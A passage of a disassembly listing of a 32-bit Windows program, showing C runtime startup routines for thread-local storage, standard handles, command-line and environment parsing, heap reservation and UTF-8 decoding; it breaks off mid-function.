		push	0
		mov	eax, dword_411774
		push	eax
		call	dword_411D9C	; TlsSetValue


loc_40951C:				; CODE XREF: sub_409490+Fj
		pop	ebx
		retn
sub_409490	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_409520	proc near		; CODE XREF: sub_407C00+3Cp
					; sub_407C00+7Ap ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	dword_411D34	; ExitProcess
		retn
sub_409520	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_409530	proc near		; CODE XREF: sub_407C00+6Ap
					; sub_407E30+F7p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	ebx, [esp+0Ch+arg_0]
		mov	esi, offset dword_411778
		jmp	short loc_409582
; ---------------------------------------------------------------------------


loc_40953E:				; CODE XREF: sub_409530+58j
		cmp	[esi], ebx
		jnz	short loc_40957F
		push	1
		mov	eax, [esi+4]
		push	eax
		call	sub_40B0E0
		add	esp, 8
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_40955E
		test	edi, edi
		jnz	short loc_409560


loc_40955E:				; CODE XREF: sub_409530+28j
		jmp	short loc_40958A
; ---------------------------------------------------------------------------


loc_409560:				; CODE XREF: sub_409530+2Cj
		cmp	edi, 1
		jz	short loc_40957A
		push	0
		mov	eax, [esi+4]
		push	eax
		call	sub_40B0E0
		add	esp, 8
		mov	eax, [esi+4]
		push	eax
		call	edi
		pop	ecx


loc_40957A:				; CODE XREF: sub_409530+33j
		or	eax, 0FFFFFFFFh
		jmp	short loc_409595
; ---------------------------------------------------------------------------


loc_40957F:				; CODE XREF: sub_409530+10j
		add	esi, 8


loc_409582:				; CODE XREF: sub_409530+Cj
		cmp	esi, offset dword_4117C8
		jb	short loc_40953E


loc_40958A:				; CODE XREF: sub_409530:loc_40955Ej
		mov	eax, [esp+0Ch+arg_4]
		push	eax
		call	dword_411DE8	; UnhandledExceptionFilter


loc_409595:				; CODE XREF: sub_409530+4Dj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_409530	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4095A0	proc near		; CODE XREF: sub_407E20+5p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	dword_411D1C	; DeleteFileA
		test	eax, eax
		jnz	short loc_4095C0
		call	dword_411CEC	; RtlGetLastWin32Error
		push	eax
		call	sub_4085D0
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_4095C0:				; CODE XREF: sub_4095A0+Dj
		xor	eax, eax
		retn
sub_4095A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4095D0	proc near		; CODE XREF: sub_407E30+5Fp
		push	offset dword_412858
		call	dword_411DEC	; GetSystemTimeAsFileTime
		retn
sub_4095D0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		lea	eax, [ebp-8]
		push	eax
		call	dword_411DEC	; GetSystemTimeAsFileTime
		mov	eax, [ebp-8]
		mov	edx, [ebp-4]
		mov	ecx, dword_412858
		mov	ebx, dword_41285C
		sub	eax, ecx
		sbb	edx, ebx
		mov	[ebp-8], eax
		mov	[ebp-4], edx
		mov	eax, [ebp-8]
		mov	edx, [ebp-4]
		push	edx
		push	eax
		push	0
		push	2710h
		call	sub_40B1D0
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409630	proc near		; CODE XREF: sub_407E30+64p

var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 64h
		push	ebx
		push	esi
		push	edi
		push	480h
		call	sub_408530
		pop	ecx
		mov	ebx, eax
		test	eax, eax
		jnz	short loc_409652
		push	1
		call	sub_409520
		pop	ecx


loc_409652:				; CODE XREF: sub_409630+18j
		mov	dword_41398C, ebx
		mov	dword_413A8C, 20h
		jmp	short loc_40967C
; ---------------------------------------------------------------------------


loc_409664:				; CODE XREF: sub_409630+58j
		mov	byte ptr [ebx+4], 0
		mov	dword ptr [ebx], 0FFFFFFFFh
		mov	byte ptr [ebx+5], 0Ah
		mov	dword ptr [ebx+8], 0
		add	ebx, 24h


loc_40967C:				; CODE XREF: sub_409630+32j
		mov	eax, dword_41398C
		add	eax, 480h
		cmp	ebx, eax
		jb	short loc_409664
		lea	eax, [ebp+var_58]
		push	eax
		call	dword_411DAC	; GetStartupInfoA
		cmp	[ebp+var_26], 0
		jz	loc_4097A2
		cmp	[ebp+var_24], 0
		jz	loc_4097A2
		mov	eax, [ebp+var_24]
		mov	eax, [eax]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_24]
		add	eax, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_10]
		mov	edx, [ebp+var_4]
		add	edx, eax
		mov	[ebp+var_8], edx
		cmp	eax, 800h
		jle	short loc_4096D3
		mov	[ebp+var_10], 800h


loc_4096D3:				; CODE XREF: sub_409630+9Aj
		mov	esi, 1
		jmp	short loc_40972E
; ---------------------------------------------------------------------------


loc_4096DA:				; CODE XREF: sub_409630+107j
		push	480h
		call	sub_408530
		pop	ecx
		mov	ebx, eax
		test	eax, eax
		jnz	short loc_4096F5
		mov	eax, dword_413A8C
		mov	[ebp+var_10], eax
		jmp	short loc_409739
; ---------------------------------------------------------------------------


loc_4096F5:				; CODE XREF: sub_409630+B9j
		mov	dword_41398C[esi*4], ebx
		add	dword_413A8C, 20h
		jmp	short loc_40971D
; ---------------------------------------------------------------------------


loc_409705:				; CODE XREF: sub_409630+FBj
		mov	byte ptr [ebx+4], 0
		mov	dword ptr [ebx], 0FFFFFFFFh
		mov	byte ptr [ebx+5], 0Ah
		mov	dword ptr [ebx+8], 0
		add	ebx, 24h


loc_40971D:				; CODE XREF: sub_409630+D3j
		mov	eax, dword_41398C[esi*4]
		add	eax, 480h
		cmp	ebx, eax
		jb	short loc_409705
		inc	esi


loc_40972E:				; CODE XREF: sub_409630+A8j
		mov	eax, [ebp+var_10]
		cmp	dword_413A8C, eax
		jl	short loc_4096DA


loc_409739:				; CODE XREF: sub_409630+C3j
		xor	edi, edi
		jmp	short loc_40979D
; ---------------------------------------------------------------------------


loc_40973D:				; CODE XREF: sub_409630+170j
		mov	eax, [ebp+var_8]
		mov	eax, [eax]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_409790
		mov	edx, [ebp+var_4]
		movzx	edx, byte ptr [edx]
		test	edx, 1
		jz	short loc_409790
		test	edx, 8
		jnz	short loc_40976A
		push	eax
		call	dword_411DF0	; GetFileType
		test	eax, eax
		jz	short loc_409790


loc_40976A:				; CODE XREF: sub_409630+12Dj
		mov	eax, edi
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, edi
		sar	edx, 5
		mov	edx, dword_41398C[edx*4]
		lea	ebx, [edx+eax]
		mov	eax, [ebp+var_8]
		mov	eax, [eax]
		mov	[ebx], eax
		mov	eax, [ebp+var_4]
		mov	al, [eax]
		mov	[ebx+4], al


loc_409790:				; CODE XREF: sub_409630+117j
					; sub_409630+125j ...
		inc	edi
		inc	[ebp+var_4]
		mov	eax, [ebp+var_8]
		add	eax, 4
		mov	[ebp+var_8], eax


loc_40979D:				; CODE XREF: sub_409630+10Bj
		cmp	edi, [ebp+var_10]
		jl	short loc_40973D


loc_4097A2:				; CODE XREF: sub_409630+69j
					; sub_409630+73j
		xor	edi, edi


loc_4097A4:				; CODE XREF: sub_409630+23Ej
		imul	eax, edi, 24h
		mov	edx, dword_41398C
		lea	ebx, [edx+eax]
		cmp	dword ptr [ebx], 0FFFFFFFFh
		jnz	loc_409866
		mov	byte ptr [ebx+4], 81h
		test	edi, edi
		jnz	short loc_4097CD
		mov	[ebp+var_5C], 0FFFFFFF6h
		jmp	short loc_4097DE
; ---------------------------------------------------------------------------


loc_4097CD:				; CODE XREF: sub_409630+192j
		cmp	edi, 1
		setz	al
		and	eax, 1
		add	eax, 0FFFFFFF4h
		mov	[ebp+var_5C], eax


loc_4097DE:				; CODE XREF: sub_409630+19Bj
		mov	eax, [ebp+var_5C]
		push	eax
		call	dword_411CD8	; GetStdHandle
		mov	[ebp+var_C], eax
		cmp	eax, 0FFFFFFFFh
		jz	short loc_409860
		mov	eax, [ebp+var_C]
		push	eax
		call	dword_411DF0	; GetFileType
		mov	[ebp+var_14], eax
		test	eax, eax
		jz	short loc_409860
		call	dword_411D68	; GetCurrentProcess
		mov	[ebp+var_64], eax
		call	dword_411D68	; GetCurrentProcess
		push	2
		push	1
		push	0
		lea	edx, [ebp+var_60]
		push	edx
		push	eax
		mov	eax, [ebp+var_C]
		push	eax
		mov	eax, [ebp+var_64]
		push	eax
		call	dword_411DF4	; DuplicateHandle
		test	eax, eax
		jz	short loc_409835
		mov	eax, [ebp+var_60]
		mov	[ebp+var_C], eax


loc_409835:				; CODE XREF: sub_409630+1FDj
		mov	eax, [ebp+var_C]
		mov	[ebx], eax
		mov	eax, [ebp+var_14]
		and	eax, 0FFh
		cmp	eax, 2
		jnz	short loc_40984D
		or	byte ptr [ebx+4], 40h
		jmp	short loc_40986A
; ---------------------------------------------------------------------------


loc_40984D:				; CODE XREF: sub_409630+215j
		mov	eax, [ebp+var_14]
		and	eax, 0FFh
		cmp	eax, 3
		jnz	short loc_40986A
		or	byte ptr [ebx+4], 8
		jmp	short loc_40986A
; ---------------------------------------------------------------------------


loc_409860:				; CODE XREF: sub_409630+1C0j
					; sub_409630+1D1j
		or	byte ptr [ebx+4], 40h
		jmp	short loc_40986A
; ---------------------------------------------------------------------------


loc_409866:				; CODE XREF: sub_409630+186j
		or	byte ptr [ebx+4], 80h


loc_40986A:				; CODE XREF: sub_409630+21Bj
					; sub_409630+228j ...
		inc	edi
		cmp	edi, 3
		jl	loc_4097A4
		mov	eax, dword_413A8C
		push	eax
		call	dword_411DF8	; LockResource
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_409630	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebx
		push	esi
		xor	ebx, ebx


loc_409894:				; CODE XREF: DMN0:004098E7j
		cmp	dword_41398C[ebx*4], 0
		jz	short loc_4098E3
		mov	esi, dword_41398C[ebx*4]
		jmp	short loc_4098BA
; ---------------------------------------------------------------------------


loc_4098A7:				; CODE XREF: DMN0:004098C8j
		cmp	dword ptr [esi+8], 0
		jz	short loc_4098B7
		lea	eax, [esi+0Ch]
		push	eax
		call	dword_411DD0	; RtlDeleteCriticalSection


loc_4098B7:				; CODE XREF: DMN0:004098ABj
		add	esi, 24h


loc_4098BA:				; CODE XREF: DMN0:004098A5j
		mov	eax, dword_41398C[ebx*4]
		add	eax, 480h
		cmp	esi, eax
		jb	short loc_4098A7
		mov	eax, dword_41398C[ebx*4]
		push	eax
		call	sub_407480
		pop	ecx
		mov	dword_41398C[ebx*4], 0


loc_4098E3:				; CODE XREF: DMN0:0040989Cj
		inc	ebx
		cmp	ebx, 40h
		jl	short loc_409894
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4098F0	proc near		; CODE XREF: sub_409AA0+3Fp
					; sub_409AA0+76p

var_9		= byte ptr -9
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	edi
		mov	ecx, [ebp+arg_8]
		mov	edx, [ebp+arg_10]
		mov	dword ptr [edx], 0
		mov	edx, [ebp+arg_C]
		mov	dword ptr [edx], 1
		mov	ebx, [ebp+arg_0]
		cmp	[ebp+arg_4], 0
		jz	short loc_409921
		mov	eax, [ebp+arg_4]
		lea	edx, [eax+4]
		mov	[ebp+arg_4], edx
		mov	[eax], ecx


loc_409921:				; CODE XREF: sub_4098F0+24j
		cmp	byte ptr [ebx],	22h
		jnz	short loc_40995C
		jmp	short loc_409938
; ---------------------------------------------------------------------------


loc_409928:				; CODE XREF: sub_4098F0+53j
		test	ecx, ecx
		jz	short loc_409933
		mov	eax, ecx
		inc	ecx
		mov	dl, [ebx]
		mov	[eax], dl


loc_409933:				; CODE XREF: sub_4098F0+3Aj
		mov	eax, [ebp+arg_10]
		inc	dword ptr [eax]


loc_409938:				; CODE XREF: sub_4098F0+36j
		inc	ebx
		mov	eax, ebx
		cmp	byte ptr [eax],	22h
		jz	short loc_409945
		cmp	byte ptr [ebx],	0
		jnz	short loc_409928


loc_409945:				; CODE XREF: sub_4098F0+4Ej
		test	ecx, ecx
		jz	short loc_40994F
		mov	eax, ecx
		inc	ecx
		mov	byte ptr [eax],	0


loc_40994F:				; CODE XREF: sub_4098F0+57j
		mov	eax, [ebp+arg_10]
		inc	dword ptr [eax]
		cmp	byte ptr [ebx],	22h
		jnz	short loc_409994
		inc	ebx
		jmp	short loc_409994
; ---------------------------------------------------------------------------


loc_40995C:				; CODE XREF: sub_4098F0+34j
					; sub_4098F0+91j
		test	ecx, ecx
		jz	short loc_409967
		mov	eax, ecx
		inc	ecx
		mov	dl, [ebx]
		mov	[eax], dl


loc_409967:				; CODE XREF: sub_4098F0+6Ej
		mov	eax, [ebp+arg_10]
		inc	dword ptr [eax]
		mov	eax, ebx
		inc	ebx
		mov	al, [eax]
		mov	[ebp+var_9], al
		mov	al, [ebp+var_9]
		cmp	al, 20h
		jz	short loc_409983
		test	al, al
		jz	short loc_409983
		cmp	al, 9
		jnz	short loc_40995C


loc_409983:				; CODE XREF: sub_4098F0+89j
					; sub_4098F0+8Dj
		cmp	[ebp+var_9], 0
		jnz	short loc_40998C
		dec	ebx
		jmp	short loc_409994
; ---------------------------------------------------------------------------


loc_40998C:				; CODE XREF: sub_4098F0+97j
		test	ecx, ecx
		jz	short loc_409994
		mov	byte ptr [ecx-1], 0


loc_409994:				; CODE XREF: sub_4098F0+67j
					; sub_4098F0+6Aj ...
		mov	[ebp+var_8], 0


loc_40999B:				; CODE XREF: sub_4098F0+181j
		cmp	byte ptr [ebx],	0
		jz	short loc_4099AD
		jmp	short loc_4099A3
; ---------------------------------------------------------------------------


loc_4099A2:				; CODE XREF: sub_4098F0+B7j
					; sub_4098F0+BBj
		inc	ebx


loc_4099A3:				; CODE XREF: sub_4098F0+B0j
		mov	al, [ebx]
		cmp	al, 20h
		jz	short loc_4099A2
		cmp	al, 9
		jz	short loc_4099A2


loc_4099AD:				; CODE XREF: sub_4098F0+AEj
		cmp	byte ptr [ebx],	0
		jz	loc_409A76
		cmp	[ebp+arg_4], 0
		jz	short loc_4099C7
		mov	eax, [ebp+arg_4]
		lea	edx, [eax+4]
		mov	[ebp+arg_4], edx
		mov	[eax], ecx


loc_4099C7:				; CODE XREF: sub_4098F0+CAj
		mov	eax, [ebp+arg_C]
		inc	dword ptr [eax]


loc_4099CC:				; CODE XREF: sub_4098F0+16Dj
		mov	[ebp+var_4], 1
		xor	edi, edi
		jmp	short loc_4099D9
; ---------------------------------------------------------------------------


loc_4099D7:				; CODE XREF: sub_4098F0+ECj
		inc	ebx
		inc	edi


loc_4099D9:				; CODE XREF: sub_4098F0+E5j
		cmp	byte ptr [ebx],	5Ch
		jz	short loc_4099D7
		cmp	byte ptr [ebx],	22h
		jnz	short loc_409A29
		test	edi, 1
		jnz	short loc_409A16
		cmp	[ebp+var_8], 0
		jz	short loc_409A03
		cmp	byte ptr [ebx+1], 22h
		jnz	short loc_4099FA
		inc	ebx
		jmp	short loc_409A0A
; ---------------------------------------------------------------------------


loc_4099FA:				; CODE XREF: sub_4098F0+105j
		mov	[ebp+var_4], 0
		jmp	short loc_409A0A
; ---------------------------------------------------------------------------


loc_409A03:				; CODE XREF: sub_4098F0+FFj
		mov	[ebp+var_4], 0


loc_409A0A:				; CODE XREF: sub_4098F0+108j
					; sub_4098F0+111j
		xor	eax, eax
		cmp	[ebp+var_8], 0
		setz	al
		mov	[ebp+var_8], eax


loc_409A16:				; CODE XREF: sub_4098F0+F9j
		shr	edi, 1
		jmp	short loc_409A29
; ---------------------------------------------------------------------------


loc_409A1A:				; CODE XREF: sub_4098F0+13Ej
		test	ecx, ecx
		jz	short loc_409A24
		mov	eax, ecx
		inc	ecx
		mov	byte ptr [eax],	5Ch


loc_409A24:				; CODE XREF: sub_4098F0+12Cj
		mov	eax, [ebp+arg_10]
		inc	dword ptr [eax]


loc_409A29:				; CODE XREF: sub_4098F0+F1j
					; sub_4098F0+128j
		mov	eax, edi
		dec	edi
		test	eax, eax
		jnz	short loc_409A1A
		mov	al, [ebx]
		test	al, al
		jz	short loc_409A44
		cmp	[ebp+var_8], 0
		jnz	short loc_409A46
		cmp	al, 20h
		jz	short loc_409A44
		cmp	al, 9
		jnz	short loc_409A46


loc_409A44:				; CODE XREF: sub_4098F0+144j
					; sub_4098F0+14Ej
		jmp	short loc_409A62
; ---------------------------------------------------------------------------


loc_409A46:				; CODE XREF: sub_4098F0+14Aj
					; sub_4098F0+152j
		cmp	[ebp+var_4], 0
		jz	short loc_409A5C
		test	ecx, ecx
		jz	short loc_409A57
		mov	eax, ecx
		inc	ecx
		mov	dl, [ebx]
		mov	[eax], dl


loc_409A57:				; CODE XREF: sub_4098F0+15Ej
		mov	eax, [ebp+arg_10]
		inc	dword ptr [eax]


loc_409A5C:				; CODE XREF: sub_4098F0+15Aj
		inc	ebx
		jmp	loc_4099CC
; ---------------------------------------------------------------------------


loc_409A62:				; CODE XREF: sub_4098F0:loc_409A44j
		test	ecx, ecx
		jz	short loc_409A6C
		mov	eax, ecx
		inc	ecx
		mov	byte ptr [eax],	0


loc_409A6C:				; CODE XREF: sub_4098F0+174j
		mov	eax, [ebp+arg_10]
		inc	dword ptr [eax]
		jmp	loc_40999B
; ---------------------------------------------------------------------------


loc_409A76:				; CODE XREF: sub_4098F0+C0j
		cmp	[ebp+arg_4], 0
		jz	short loc_409A8B
		mov	eax, [ebp+arg_4]
		lea	edx, [eax+4]
		mov	[ebp+arg_4], edx
		mov	dword ptr [eax], 0


loc_409A8B:				; CODE XREF: sub_4098F0+18Aj
		mov	eax, [ebp+arg_C]
		inc	dword ptr [eax]
		pop	edi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4098F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409AA0	proc near		; CODE XREF: sub_407E30+69p

var_10C		= byte ptr -10Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		push	ebx
		push	esi
		call	dword_411D94	; GetCommandLineA
		mov	esi, eax
		cmp	byte ptr [esi],	0
		jnz	short loc_409AD2
		push	104h
		lea	eax, [ebp+var_10C]
		push	eax
		push	0
		call	dword_411CE0	; GetModuleFileNameA
		lea	esi, [ebp+var_10C]


loc_409AD2:				; CODE XREF: sub_409AA0+16j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		push	0
		push	esi
		call	sub_4098F0
		add	esp, 14h
		mov	eax, [ebp+var_4]
		mov	edx, [ebp+var_8]
		lea	eax, [edx+eax*4]
		push	eax
		call	sub_408530
		pop	ecx
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_409B05
		push	1
		call	sub_409520
		pop	ecx


loc_409B05:				; CODE XREF: sub_409AA0+5Bj
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebp+var_4]
		lea	eax, [ebx+eax*4]
		push	eax
		push	ebx
		push	esi
		call	sub_4098F0
		add	esp, 14h
		mov	eax, [ebp+var_4]
		dec	eax
		mov	dword_4117C8, eax
		mov	dword_4117CC, ebx
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_409AA0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409B40	proc near		; CODE XREF: sub_407E30+6Ep

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		call	dword_411DFC	; GetEnvironmentStrings
		mov	[ebp+var_8], eax
		test	eax, eax
		jnz	short loc_409B5E
		mov	eax, off_411898
		mov	[ebp+var_8], eax


loc_409B5E:				; CODE XREF: sub_409B40+14j
		mov	[ebp+var_4], 0
		mov	ebx, [ebp+var_8]
		jmp	short loc_409B83
; ---------------------------------------------------------------------------


loc_409B6A:				; CODE XREF: sub_409B40+46j
		mov	edx, ebx
		or	eax, 0FFFFFFFFh


loc_409B6F:				; CODE XREF: sub_409B40+34j
		inc	eax
		cmp	byte ptr [edx+eax], 0
		jnz	short loc_409B6F
		lea	esi, [eax+1]
		cmp	byte ptr [ebx],	3Dh
		jz	short loc_409B81
		add	[ebp+var_4], esi


loc_409B81:				; CODE XREF: sub_409B40+3Cj
		add	ebx, esi


loc_409B83:				; CODE XREF: sub_409B40+28j
		cmp	byte ptr [ebx],	0
		jnz	short loc_409B6A
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_408530
		pop	ecx
		mov	edi, eax
		mov	dword_4117D4, eax
		cmp	dword_4117D4, 0
		jnz	short loc_409BAB
		push	1
		call	sub_409520
		pop	ecx


loc_409BAB:				; CODE XREF: sub_409B40+61j
		mov	ebx, [ebp+var_8]
		jmp	short loc_409BDA
; ---------------------------------------------------------------------------


loc_409BB0:				; CODE XREF: sub_409B40+9Dj
		mov	edx, ebx
		or	eax, 0FFFFFFFFh


loc_409BB5:				; CODE XREF: sub_409B40+7Aj
		inc	eax
		cmp	byte ptr [edx+eax], 0
		jnz	short loc_409BB5
		lea	esi, [eax+1]
		cmp	byte ptr [ebx],	3Dh
		jz	short loc_409BD8
		mov	ecx, edi
		mov	edx, ebx
		push	ecx
		sub	ecx, edx


loc_409BCB:				; CODE XREF: sub_409B40+93j
		mov	al, [edx]
		mov	[ecx+edx], al
		inc	edx
		test	al, al
		jnz	short loc_409BCB
		pop	eax
		add	edi, esi


loc_409BD8:				; CODE XREF: sub_409B40+82j
		add	ebx, esi


loc_409BDA:				; CODE XREF: sub_409B40+6Ej
		cmp	byte ptr [ebx],	0
		jnz	short loc_409BB0
		mov	byte ptr [edi],	0
		mov	eax, off_411898
		cmp	eax, [ebp+var_8]
		jz	short loc_409BF6
		mov	eax, [ebp+var_8]
		push	eax
		call	dword_411E00	; FreeEnvironmentStringsA


loc_409BF6:				; CODE XREF: sub_409B40+AAj
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_409B40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_409C00	proc near		; CODE XREF: sub_407E30+A3p
		push	ebx
		call	dword_411D94	; GetCommandLineA
		mov	ebx, eax
		cmp	byte ptr [ebx],	22h
		jnz	short loc_409C24


loc_409C0E:				; CODE XREF: sub_409C00+19j
		inc	ebx
		mov	eax, ebx
		cmp	byte ptr [eax],	22h
		jz	short loc_409C1B
		cmp	byte ptr [ebx],	0
		jnz	short loc_409C0E


loc_409C1B:				; CODE XREF: sub_409C00+14j
		cmp	byte ptr [ebx],	22h
		jnz	short loc_409C2C
		inc	ebx
		jmp	short loc_409C2C
; ---------------------------------------------------------------------------


loc_409C23:				; CODE XREF: sub_409C00+27j
		inc	ebx


loc_409C24:				; CODE XREF: sub_409C00+Cj
		cmp	byte ptr [ebx],	20h
		ja	short loc_409C23
		jmp	short loc_409C2C
; ---------------------------------------------------------------------------


loc_409C2B:				; CODE XREF: sub_409C00+34j
		inc	ebx


loc_409C2C:				; CODE XREF: sub_409C00+1Ej
					; sub_409C00+21j ...
		mov	al, [ebx]
		test	al, al
		jz	short loc_409C36
		cmp	al, 20h
		jbe	short loc_409C2B


loc_409C36:				; CODE XREF: sub_409C00+30j
		mov	eax, ebx
		pop	ebx
		retn
sub_409C00	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409C40	proc near		; CODE XREF: sub_407F60+21p

var_1C		= byte ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		cmp	dword_4117DC, 0
		jnz	short loc_409C73
		push	1
		push	2000h
		mov	eax, dword_4117E0
		push	eax
		push	0
		call	dword_411E04	; VirtualAlloc
		mov	dword_4117DC, eax
		test	eax, eax
		jz	short loc_409CD6


loc_409C73:				; CODE XREF: sub_409C40+13j
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	eax
		mov	eax, dword_4117DC
		push	eax
		call	dword_411E08	; VirtualQuery
		test	eax, eax
		jz	short loc_409CD6
		cmp	[ebp+var_C], 1000h
		jnz	short loc_409CA0
		mov	eax, [ebp+var_10]
		mov	edx, dword_4117DC
		lea	edi, [edx+eax]
		jmp	short loc_409CA6
; ---------------------------------------------------------------------------


loc_409CA0:				; CODE XREF: sub_409C40+50j
		mov	edi, dword_4117DC


loc_409CA6:				; CODE XREF: sub_409C40+5Ej
		mov	esi, edi
		lea	eax, [esi+ebx]
		mov	edx, dword_4117E0
		mov	ecx, dword_4117DC
		add	edx, ecx
		cmp	eax, edx
		jb	short loc_409CC1
		xor	eax, eax
		jmp	short loc_409CD6
; ---------------------------------------------------------------------------


loc_409CC1:				; CODE XREF: sub_409C40+7Bj
		push	4
		push	1000h
		push	ebx
		push	esi
		call	dword_411E04	; VirtualAlloc
		test	eax, eax
		jz	short loc_409CD6
		mov	eax, esi


loc_409CD6:				; CODE XREF: sub_409C40+31j
					; sub_409C40+47j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_409C40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409CE0	proc near		; CODE XREF: sub_408B70+44p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_3		= byte ptr -3
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		mov	eax, [ebp+arg_C]
		movzx	eax, word ptr [eax+6]
		mov	[ebp+var_3], al
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_C]
		mov	eax, [eax]
		mov	[ebp+var_2], ax
		cmp	off_411928, 0
		jnz	loc_409E5B
		cmp	[ebp+arg_4], 0
		jnz	short loc_409D2E
		mov	eax, [ebp+arg_C]
		mov	ecx, dword_40FB60
		mov	ebx, dword_40FB64
		mov	[eax], ecx
		mov	[eax+4], ebx
		xor	eax, eax
		jmp	loc_409FBA
; ---------------------------------------------------------------------------


loc_409D2E:				; CODE XREF: sub_409CE0+31j
					; sub_409CE0+176j
		cmp	[ebp+arg_8], 0
		jnz	short loc_409D52
		mov	edx, [ebp+arg_C]
		movzx	eax, [ebp+var_2]
		mov	[edx], eax
		mov	edx, [ebp+arg_C]
		movzx	eax, [ebp+var_3]
		mov	[edx+6], ax
		mov	eax, 0FFFFFFFEh
		jmp	loc_409FBA
; ---------------------------------------------------------------------------


loc_409D52:				; CODE XREF: sub_409CE0+52j
		cmp	[ebp+var_3], 0
		jbe	short loc_409D99
		mov	eax, [ebp+var_8]
		movzx	eax, byte ptr [eax]
		and	eax, 0C0h
		cmp	eax, 80h
		jz	short loc_409D7D
		call	sub_408730
		mov	dword ptr [eax], 2Ah
		or	eax, 0FFFFFFFFh
		jmp	loc_409FBA
; ---------------------------------------------------------------------------


loc_409D7D:				; CODE XREF: sub_409CE0+88j
		movzx	eax, [ebp+var_2]
		shl	eax, 6
		mov	edx, [ebp+var_8]
		movzx	edx, byte ptr [edx]
		and	edx, 3Fh
		or	eax, edx
		mov	[ebp+var_2], ax
		sub	[ebp+var_3], 1
		jmp	short loc_409E0A
; ---------------------------------------------------------------------------


loc_409D99:				; CODE XREF: sub_409CE0+76j
		mov	eax, [ebp+var_8]
		test	byte ptr [eax],	80h
		jnz	short loc_409DAD
		mov	eax, [ebp+var_8]
		movzx	eax, byte ptr [eax]
		mov	[ebp+var_2], ax
		jmp	short loc_409E0A
; ---------------------------------------------------------------------------


loc_409DAD:				; CODE XREF: sub_409CE0+BFj
		mov	eax, [ebp+var_8]
		movzx	eax, byte ptr [eax]
		and	eax, 0E0h
		cmp	eax, 0C0h
		jnz	short loc_409DD2
		mov	eax, [ebp+var_8]
		movzx	eax, byte ptr [eax]
		and	eax, 1Fh
		mov	[ebp+var_2], ax
		mov	[ebp+var_3], 1
		jmp	short loc_409E0A
; ---------------------------------------------------------------------------


loc_409DD2:				; CODE XREF: sub_409CE0+DDj
